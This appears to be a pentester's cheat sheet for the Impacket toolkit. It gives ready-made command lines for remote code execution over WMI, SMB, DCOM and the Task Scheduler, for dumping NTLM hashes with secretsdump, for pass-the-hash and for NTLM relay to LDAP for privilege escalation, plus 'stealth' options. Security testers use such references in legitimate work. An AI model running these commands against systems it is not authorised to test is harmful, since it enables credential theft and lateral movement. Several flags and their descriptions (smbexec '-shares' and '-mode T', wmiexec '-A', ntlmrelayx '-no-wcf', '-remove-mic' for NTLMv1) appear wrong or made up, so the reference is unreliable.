
Impacket is a collection of Python scripts and libraries used for penetration testing and security assessments. It provides tools for working with network protocols, exploiting vulnerabilities, and performing post-exploitation tasks. Penetration testers utilize Impacket for tasks ranging from network reconnaissance and credential extraction to remote code execution and lateral movement within networks.
Installation and Setup
sudo apt update && sudo apt install impacket-scriptssudo apt update && sudo apt install python3-impacketpython3 -m pipx install impacketgit clone https://github.com/fortra/impacket.gitcd impacketpip install .Tools Overview
Impacket provides tools for interacting with Windows networking, SMB, Kerberos, Active Directory, and other protocols. I have listed and created a cheat sheet for the most common ones I use in penetration testing.
- wmiexec.py – Remote command execution via WMI
- psexec.py – Remote execution using SMB and Named Pipes
- smbexec.py – Remote execution through SMB, similar to Metasploit’s psexec
- dcomexec.py – Remote execution using DCOM
- atexec.py – Execution via Task Scheduler
- secretsdump.py – Extract NTLM hashes and credentials
- mimikatz.py – Execute Mimikatz remotely
- getTGT.py – Request a TGT from a DC
- ticketer.py – Generate Kerberos tickets
- lookupsid.py – Enumerate domain users and groups
- ntlmrelayx.py – NTLM Relay Attacks
- rpcdump.py – List exposed RPC endpoints
- samrdump.py – Enumerate SAM user accounts
wmiexec.py – Remote Command Execution via WMI
wmiexec.py DOMAIN/USER:PASSWORD@TARGET #Execute command remotely via WMIwmiexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Use NTLM Hash for Authenticationwmiexec.py -nooutput DOMAIN/USER:PASSWORD@TARGET #Suppress command outputwmiexec.py -A DOMAIN/USER@TARGET #Prompt for Password Instead of Providing in Commandpsexec.py – Remote Execution Over SMB
psexec.py DOMAIN/USER:PASSWORD@TARGET #Execute commands via SMB Named Pipespsexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Use NTLM Hash for Authenticationpsexec.py -target-ip 10.1.1.1 DOMAIN/USER:PASSWORD@TARGET #Specify Target IPpsexec.py -service-name CustomSvc DOMAIN/USER:PASSWORD@TARGET #Customize Service Namesmbexec.py – Execute Commands via SMB
smbexec.py DOMAIN/USER:PASSWORD@TARGET #Execute commands interactively over SMBsmbexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Pass-the-Hash Executionsmbexec.py -shares DOMAIN/USER:PASSWORD@TARGET #List SMB Sharessmbexec.py -mode T DOMAIN/USER:PASSWORD@TARGET #Run Commands via Task Scheduler Instead of Servicedcomexec.py – Remote Execution via DCOM
dcomexec.py DOMAIN/USER:PASSWORD@TARGET #Execute commands over DCOMdcomexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Pass-the-Hash Executiondcomexec.py -object MMC20 DOMAIN/USER:PASSWORD@TARGET #Use MMC20 DCOM Objectatexec.py – Task Scheduler Execution
atexec.py DOMAIN/USER:PASSWORD@TARGET #Execute Commands via Task Scheduleratexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Use NTLM Hash for Authenticationatexec.py -debug DOMAIN/USER:PASSWORD@TARGET #Enable Debug Modesecretsdump.py – Extract Credentials and Hashes
secretsdump.py DOMAIN/USER:PASSWORD@TARGET #Dump NTLM Hashes & Credentialssecretsdump.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Use Pass-the-Hashsecretsdump.py -just-dc-ntlm DOMAIN/USER:PASSWORD@TARGET #Dump Only NTLM Hashes from DCsecretsdump.py -outputfile hashes.txt DOMAIN/USER:PASSWORD@TARGET #Save Hashes to Filerpcdump.py – Dump RPC Endpoints
rpcdump.py DOMAIN/USER:PASSWORD@TARGET #List Exposed RPC Endpointsrpcdump.py -target-ip 10.1.1.1 DOMAIN/USER:PASSWORD@TARGET #Specify Target IPsamrdump.py – Enumerate SAM Accounts
samrdump.py DOMAIN/USER:PASSWORD@TARGET #Enumerate SAM User Accountssamrdump.py -hashes :NTLM_HASH DOMAIN/USER@TARGET #Use NTLM Hash for Authenticationntlmrelayx.py – NTLM Relay Attacks
ntlmrelayx.py -t TARGET #Relay NTLM Authentication to Targetntlmrelayx.py -smb2support -t TARGET #Enable SMBv2 Supportntlmrelayx.py -t ldap://DC_IP --delegate-access #Relay to LDAP for Privilege Escalationntlmrelayx.py -remove-mic -t TARGET #Remove MIC to Exploit NTLMv1Performance Tuning and Stealth Mode
wmiexec.py -silent DOMAIN/USER:PASSWORD@TARGET #Silent Executionsecretsdump.py -no-pass DOMAIN/USER@TARGET #Extract Hashes Without Passwordntlmrelayx.py -no-wcf -debug -t TARGET #Disable WCF and Enable Debuggingpsexec.py -no-output DOMAIN/USER:PASSWORD@TARGET #Suppress Command OutputBest Practices
secretsdump.py -just-dc-ntlm DOMAIN/USER:PASSWORD@TARGET #Extract Only NTLM Hashesntlmrelayx.py -t ldap://DC_IP --delegate-access #Relay NTLM to LDAP for Privilege Escalationwmiexec.py -nooutput DOMAIN/USER:PASSWORD@TARGET #Suppress Command Outputsmbexec.py -mode T DOMAIN/USER:PASSWORD@TARGET #Use Task Scheduler Mode for Execution



